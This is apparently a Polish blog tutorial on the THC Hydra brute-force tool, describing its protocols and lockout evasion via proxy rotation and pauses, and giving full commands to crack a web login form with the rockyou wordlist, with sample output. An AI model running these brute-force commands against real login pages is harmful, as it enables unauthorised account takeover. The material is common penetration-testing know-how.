Dzisiejszy artykuł poświęcony jest oprogramowaniu Hydra, która zasługuje na szczególną uwagę. To wszechstronne narzędzie służące do przeprowadzania ataków typu brute force, czyli “logowania się na siłę”. Hydra jest bardzo uniwersalna – możemy jej używać od logowania do serwerów po aplikacje webowe. Przyjrzyjmy się, jak działa i jak można wykorzystać jej potencjał.
Czym jest Hydra?
Zacznijmy od paru słów teorii. Hydra (a właściwie “THC Hydra”) to narzędzie stworzone przez grupę The Hackers Choice (THC), które pozwala na przeprowadzanie ataków brute force na różne usługi i protokoły. Zamiast ręcznie sprawdzać każde możliwe hasło, Hydra automatycznie próbuje logować się do wskazanej usługi, wykorzystując listę haseł (słownik) lub różne kombinacje znaków, aż do momentu, w którym znajdzie właściwe dane logowania.
Kluczową zaletą Hydry jest jej szybkość, która wynika z możliwości uruchamiania wielu wątków jednocześnie. W praktyce oznacza to, że Hydra może próbować dziesiątek, setek, a nawet tysięcy kombinacji haseł jednocześnie, co znacznie skraca czas ataku.
Jak działa Hydra?
Hydra wspiera imponującą liczbę protokołów i usług, co czyni ją jednym z najbardziej uniwersalnych narzędzi do ataków brute force. Obsługuje takie protokoły jak FTP, SSH, Telnet, HTTP/HTTPS, RDP (Remote Desktop Protocol), MySQL, PostgreSQL, SMTP, POP3, IMAP i wiele innych. Może być stosowana do testowania bezpieczeństwa niemal każdej usługi, której zabezpieczenia opierają się na uwierzytelnieniu użytkownika.
Jak Hydra obchodzi blokady?
Rotacja IP – Hydra ma możliwość korzystania z proxy, co pozwala na zmianę adresu IP przy każdej próbie logowania.
Rotacja kont użytkowników – Hydra może równocześnie testować różne konta użytkowników, unikając blokady pojedynczego konta.
Ominięcie blokady konta – Hydra może automatycznie wstrzymać się na chwilę, co pozwala jej kontynuować atak bez wywołania blokady.
Jak złamać panel logowania do strony www za pomocą Hydry?
Hydra działa w oparciu o zasadę ataków słownikowych lub brute force, co oznacza, że próbuje dopasować odpowiednie dane logowania, korzystając z wcześniej przygotowanej listy haseł. Aby przeprowadzić skuteczny atak, musisz mieć dostęp do słownika haseł.
Przykład użycia Hydry:
Strona logowania:http://mojastrona.pl/login.php
Pola formularza: user (login), pass (hasło)
Niepoprawna odpowiedź serwera: “Niepoprawne dane”
Konfiguracja Hydry:
hydra -l admin -P /home/user/Downloads/rockyou.txt mojastrona.pl http-post-form "/login.php:user=^USER^&pass=^PASS^:Niepoprawne dane"
Rozszerzenie komendy:
-l admin – testowałam login “admin”.
-P /home/user/Downloads/rockyou.txt – użyłam jednego z popularnych słowników.
http-post-form – nakierowanie ataku na formularz.
user=^USER^&pass=^PASS^ – wstrzyknięcie loginu i hasła.
Niepoprawne dane – odpowiedź serwera w przypadku nieudanej próby logowania.
Zwiększanie wydajności Hydry:
hydra -l admin -P /home/user/Downloads/rockyou.txt -t 8 mojastrona.pl http-post-form "/login.php:user=^USER^&pass=^PASS^:Niepoprawne dane"
-t 8 – ustawia liczbę wątków na 8, co przyspiesza test.
Jeśli test się powiedzie, w konsoli zobaczysz wynik w stylu:
[80][http-post-form] host: mojastrona.pl login: admin password: qwerty
Jak sprawdzić, czy formularz używa GET czy POST?
Hydra musi wiedzieć, czy formularz korzysta z GET czy POST, aby prawidłowo przesłać dane logowania. Możesz to sprawdzić analizując kod HTML formularza:
<form action="/login.php" method="POST">
Formularz korzysta z metody POST.
<form action="/login.php" method="GET">
Formularz korzysta z metody GET.